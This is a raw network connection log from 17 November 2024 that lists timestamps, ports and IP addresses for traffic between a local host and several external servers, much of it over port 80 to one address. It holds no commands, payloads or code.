Nov 17, 2024 12:35:37.620923042 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.651299953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.651319027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.651334047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.651400089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.651426077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.663913965 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.663938046 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.663979053 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.663990974 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.664017916 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.664047003 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.666207075 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.692451954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.692485094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.692502022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.692552090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.692594051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.692596912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.692610025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.692656994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.692670107 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.696402073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.696417093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.696433067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.696446896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.696463108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.696477890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.696482897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.696496010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.696521044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.696536064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.696553946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.696567059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.696592093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.696604013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.697076082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.697124958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.697125912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.697139978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.697165012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.697179079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.697199106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.697213888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.697254896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.723711967 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.723766088 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.723805904 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.723817110 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.723854065 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.723869085 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.724116087 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.724176884 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.724433899 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.724442005 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.724452019 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.728857994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.728889942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.728904963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.728934050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.728982925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729005098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729007006 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729021072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729059935 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729151011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729206085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729207039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729222059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729253054 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729269028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729306936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729322910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729337931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729367971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729387999 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729413033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729463100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729477882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729504108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729528904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729641914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729687929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729703903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729736090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729784966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729792118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.729799986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.729840040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.746419907 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.746484995 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.746548891 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.746556997 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.746649027 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.746721029 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.748961926 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.748975039 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.768578053 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.768950939 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.768973112 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.772557974 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.772620916 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.774288893 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.774465084 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.774482965 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.794363976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.800740004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.801011086 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.801076889 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.801151037 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.804428101 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.804444075 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.806730032 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.806751966 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.806812048 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.807015896 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.807024956 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.811417103 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.812817097 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.812834978 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.814276934 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.814361095 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.815376043 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.815854073 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.815854073 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.815870047 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.815936089 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.817401886 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:37.817589045 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:37.817598104 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:37.818270922 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.818278074 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.819379091 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:37.819442987 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:37.820389986 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:37.820477962 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:37.820595980 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:37.820605993 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:37.820666075 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:37.820717096 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:37.865148067 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.865148067 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:37.865210056 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.865223885 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.912144899 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.939882994 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.962038994 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:37.962110996 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.963975906 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:37.963994026 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:38.000636101 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.012156010 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:38.012823105 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:38.012880087 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:38.013082981 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:38.013150930 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:38.013150930 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:38.025505066 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.025585890 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.025863886 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.025883913 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.031569004 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.031608105 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.031816006 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.032049894 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.032064915 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.076340914 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.076678038 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.076694012 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.076852083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.076868057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.076894999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.076911926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.076927900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.076939106 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.076939106 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.076944113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.076978922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.076978922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077023983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077075005 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077148914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077162027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077183962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077227116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077244043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077254057 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077254057 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077291012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077291012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077342033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077374935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077389956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077399969 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077429056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077429056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077455997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077506065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077519894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077534914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077553034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077593088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077688932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077764034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077780008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077800989 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.077847004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077862024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077886105 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077900887 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077900887 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077950001 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.077950954 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.077980042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.077997923 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.078011990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.078012943 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.078073978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.078073978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.078078985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.078094006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.078166962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.078258038 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.078313112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.078371048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.078375101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.078387022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.078438997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.078438997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.078756094 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.078777075 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.078964949 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.079118967 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.079134941 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.079540014 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.079550028 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.079560995 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.079607010 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.079694033 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.079700947 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.079833984 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.079870939 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.079880953 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.079900980 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.080194950 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.080257893 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.080497026 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.080560923 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.080641985 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.080693960 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.080809116 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.080868959 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.081012964 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.081073046 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.081406116 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.081468105 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.081660032 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.081732035 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.081810951 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.081819057 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.081996918 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.082003117 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.082087040 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.082093954 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.082182884 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.082190990 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.082551003 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.082849979 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.082870960 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.083971024 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.084472895 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.084594011 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.084600925 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.084645987 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.130754948 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.130774975 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.130776882 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.130779982 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.130917072 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.130918026 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.195774078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.195805073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.195821047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.195868015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.195907116 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.195930958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.195946932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.195962906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.195980072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.195990086 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.195997953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196012974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196012974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196052074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196052074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196069956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196151018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196176052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196244955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196294069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196305037 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196305037 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196310043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196369886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196398973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196424007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196508884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196527958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196542978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196597099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196621895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196636915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196652889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196686983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196821928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196860075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196860075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196871042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196887016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196928024 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196928024 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.196965933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196980953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.196995020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197033882 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197067022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197133064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197146893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197161913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197179079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197202921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197202921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197251081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197429895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197524071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197540045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197571039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197571039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197588921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197593927 CET	80	49778	185.215.113.206	192.168.2.5
